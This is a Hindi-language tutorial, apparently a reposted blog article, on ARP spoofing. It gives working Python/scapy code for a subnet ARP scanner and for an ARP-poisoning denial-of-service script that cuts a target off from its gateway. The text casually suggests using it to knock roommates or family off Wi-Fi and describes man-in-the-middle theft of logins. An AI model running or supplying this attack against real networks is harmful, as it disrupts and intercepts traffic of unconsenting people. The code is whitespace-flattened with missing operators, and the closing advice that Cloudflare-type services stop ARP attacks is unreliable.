एड्रेस रेजोल्यूशन प्रोटोकॉल (एआरपी) एक महत्वपूर्ण प्रोटोकॉल है जिसका उपयोग स्थानीय क्षेत्र नेटवर्क में आईपी पते को भौतिक पते (मैक पते) में बदलने के लिए किया जाता है।
एआरपी हमला एआरपी प्रोटोकॉल की कमजोरियों का शोषण है। जाली एआरपी संदेश भेजकर, हमलावर अपने मैक पते को पीड़ित के आईपी पते से जोड़ सकते हैं, नेटवर्क संचार को बाधित कर सकते हैं, बदल सकते हैं या बाधित कर सकते हैं।
एआरपी हमलों को लागू करना विशेष रूप से आसान है क्योंकि एआरपी प्रोटोकॉल में अंतर्निहित सुरक्षा सुविधाओं का अभाव है, जो इसे नेटवर्क हमलावरों के लिए एक प्रमुख लक्ष्य बनाता है। इस प्रकार एआरपी स्पूफिंग या एआरपी विषाक्तता एक आम और खतरनाक नेटवर्क हमले का तरीका बन गया है।
पायथन के साथ, आप कोड को 100 लाइनों से कम में पूरा कर सकते हैं, और प्रभाव काफी महत्वपूर्ण हैं - आपके रूममेट या परिवार के सदस्य जल्दी ही अपना वाईफाई कनेक्शन खो सकते हैं। निःसंदेह, आपको शायद अच्छे दोस्तों को छोड़कर, दूसरों पर बेतरतीब ढंग से हमला करने का प्रयास नहीं करना चाहिए।
सेवा हमले से इनकार: आप एआरपी हमले के माध्यम से अपने रूममेट या परिवार के वाई-फाई कनेक्शन को बाधित कर सकते हैं। लक्ष्य कंप्यूटर को धोखा देकर यह सोचकर कि हमलावर गेटवे है, हमलावर लक्ष्य कंप्यूटर और गेटवे के बीच संचार को बाधित कर सकता है, जिससे लक्ष्य कंप्यूटर को नेटवर्क संसाधनों तक पहुंचने से रोका जा सकता है।
नेटवर्क स्निफिंग: हमलावर नेटवर्क पर सभी संचार पैकेटों पर कब्जा करने के लिए एआरपी हमलों का उपयोग कर सकते हैं, जिससे उन्हें संवेदनशील जानकारी का विश्लेषण करने और निकालने की अनुमति मिलती है।
डेटा छेड़छाड़: मैन-इन-द-मिडिल हमले के माध्यम से, हमलावर डेटा पैकेट की सामग्री को बदल सकते हैं, जिससे संचार डेटा बदल सकता है।
वास्तविक जीवन के उदाहरण
एआरपी स्पूफिंग: हमलावर स्थानीय नेटवर्क पर अन्य डिवाइसों पर जाली एआरपी प्रतिक्रिया संदेश भेजते हैं, उनके मैक पते को वैध डिवाइस के आईपी पते से जोड़ते हैं। उदाहरण के लिए, हमलावर अपने मैक पते को गेटवे के आईपी पते से जोड़ सकते हैं, जिससे स्थानीय नेटवर्क पर सभी डिवाइस हमलावर को डेटा भेज सकते हैं।
मैन-इन-द-मिडिल अटैक: एक बार एआरपी स्पूफिंग सफल हो जाने पर, हमलावर खुद को पीड़ित और गेटवे के बीच में रख सकते हैं, सभी संचार डेटा को रोक सकते हैं और अग्रेषित कर सकते हैं। यह हमलावरों को संवेदनशील जानकारी, जैसे लॉगिन क्रेडेंशियल और बैंक खाते की जानकारी चुराने की अनुमति देता है।
डेटा से छेड़छाड़: हमलावर न केवल डेटा को रोक सकते हैं, बल्कि पीड़ित या गेटवे को अग्रेषित करने से पहले इसे बदल भी सकते हैं, जिससे आगे के हमले संभव हो सकते हैं।
सबसे पहले, हम एक बुनियादी एआरपी स्कैनिंग फ़ंक्शन लागू करेंगे। एआरपी जांच को लागू करना सीधा है। हम दो फ़ंक्शन को परिभाषित कर सकते हैं: एक को generate_ip_range कहा जाता है, जो एक आईपी एड्रेस स्ट्रिंग लेता है और उस सबनेट के भीतर सभी होस्ट पते उत्पन्न करता है; दूसरे को arp_scan कहा जाता है, जो ARP पैकेट भेजता है। हम एआरपी अनुरोध बनाने और उन्हें एसआरपी का उपयोग करके भेजने के लिए स्कैपी के एआरपी फ़ंक्शन का उपयोग कर सकते हैं, फिर प्रतिक्रियाओं की प्रतीक्षा कर सकते हैं।
from scapy.all import * import argparse import threading, time import logging # Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20 def Parse_IP(targets): _split = targets.split('/') first_ip = _split[0] ip_split = first_ip.split('.') ipv4 = range(int(ip_split[3]), int(_split[1]) 1) addr = [ip_split[0] '.' ip_split[1] '.' ip_split[2] '.' str(p) for p in ipv4] return addr # Scan the local network for online devices using the ARP protocol def ARP_Scan(address): try: ret = sr1(ARP(pdst=address), timeout=5, verbose=False) if ret: if ret.haslayer('ARP') and ret.fields['op'] == 2: print('[ ] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc'])) except Exception: exit(1) if __name__ == "__main__": logging.getLogger("scapy.runtime").setLevel(logging.ERROR) parser = argparse.ArgumentParser() parser.add_argument("-s", "--scan", dest="scan") args = parser.parse_args() # Usage: main.py -s 192.168.1.1/100 if args.scan: addr_list = Parse_IP(args.scan) for item in addr_list: threads = [] t = threading.Thread(target=ARP_Scan, args=(item,)) threads.append(t) t.start() for item in threads: item.join() else: parser.print_help()
इसके बाद, हम सीखेंगे कि एआरपी डिनायल-ऑफ-सर्विस हमले को कैसे लागू किया जाए। ARP DOS हमले का मूल सेंड_पेलोड फ़ंक्शन है। इस फ़ंक्शन की प्रत्येक कॉल दो पैकेट भेजती है: पहला पैकेट गेटवे होने का दिखावा करता है, लक्ष्य कंप्यूटर को धोखा देकर यह सोचता है कि हमलावर गेटवे है; दूसरा पैकेट लक्ष्य कंप्यूटर होने का दिखावा करता है, गेटवे को धोखा देकर यह सोचता है कि हमलावर लक्ष्य कंप्यूटर है। इन दो पैकेटों को कई थ्रेड्स में भेजने से, लक्ष्य कंप्यूटर नेटवर्क से कनेक्ट नहीं हो पाएगा, जिससे DOS हमला हो जाएगा।
""" Disclaimer: This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission. Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations. The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization. Before running this code, please confirm that you have understood and accepted this disclaimer. """ from scapy.all import * import argparse import threading, time import logging # Create and send payloads def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP): print("[ ] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP)) # Generate ARP packet, pretending to be the gateway to deceive the target computer sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface) # Generate ARP packet, pretending to be the target computer to deceive the gateway sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name") parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address") parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address") args = parser.parse_args() # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10 if args.gateway and args.target: srcMac = get_if_hwaddr(args.interface) # Get the local MAC address through the interface name tgtMac = getmacbyip(args.target) # Get the target computer's MAC address through its IP address gatewayMac = getmacbyip(args.gateway) # Specify the gateway MAC address in the local network while True: t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target)) t.start() t.join() time.sleep(1) else: parser.print_help()
एक स्वतंत्र डेवलपर के रूप में, आपको अक्सर अपनी वेबसाइट को विभिन्न जटिल हमलों, विशेष रूप से सबसे सरल हमलों से बचाने की चुनौती का सामना करना पड़ सकता है।
उदाहरण के लिए, एआरपी हमलों को निष्पादित करना बहुत आसान है, हमले का कोड 100 लाइनों से कम है। हालाँकि, होने वाली क्षति महत्वपूर्ण हो सकती है। यदि डेवलपर्स को प्रत्येक प्रकार के हमले के खिलाफ विस्तार से बचाव करने की आवश्यकता है, तो यह एक भारी काम हो सकता है, संभावित रूप से विकास कार्य की मात्रा से अधिक हो सकता है।
इसलिए, तृतीय-पक्ष प्लेटफ़ॉर्म को एकीकृत करना एक बहुत ही सामान्य समाधान बन गया है। एजऑन और क्लाउडफ़ेयर जैसे प्लेटफ़ॉर्म प्रभावी सुरक्षा सेवाएँ प्रदान कर सकते हैं। हालाँकि इन सेवाओं के लिए कुछ डॉलर की आवश्यकता हो सकती है, लेकिन ये आत्मरक्षा की तुलना में मानसिक बोझ को काफी कम कर देते हैं।
यह एक लेख है जो मैंने सामान्य नेटवर्क हमलों और उनके समाधानों के बारे में लिखा है। यदि आप रुचि रखते हैं, तो बेझिझक इसे जांचें।
अस्वीकरण: उपलब्ध कराए गए सभी संसाधन आंशिक रूप से इंटरनेट से हैं। यदि आपके कॉपीराइट या अन्य अधिकारों और हितों का कोई उल्लंघन होता है, तो कृपया विस्तृत कारण बताएं और कॉपीराइट या अधिकारों और हितों का प्रमाण प्रदान करें और फिर इसे ईमेल पर भेजें: [email protected] हम इसे आपके लिए यथाशीघ्र संभालेंगे।
Copyright© 2022 湘ICP备2022001581号-3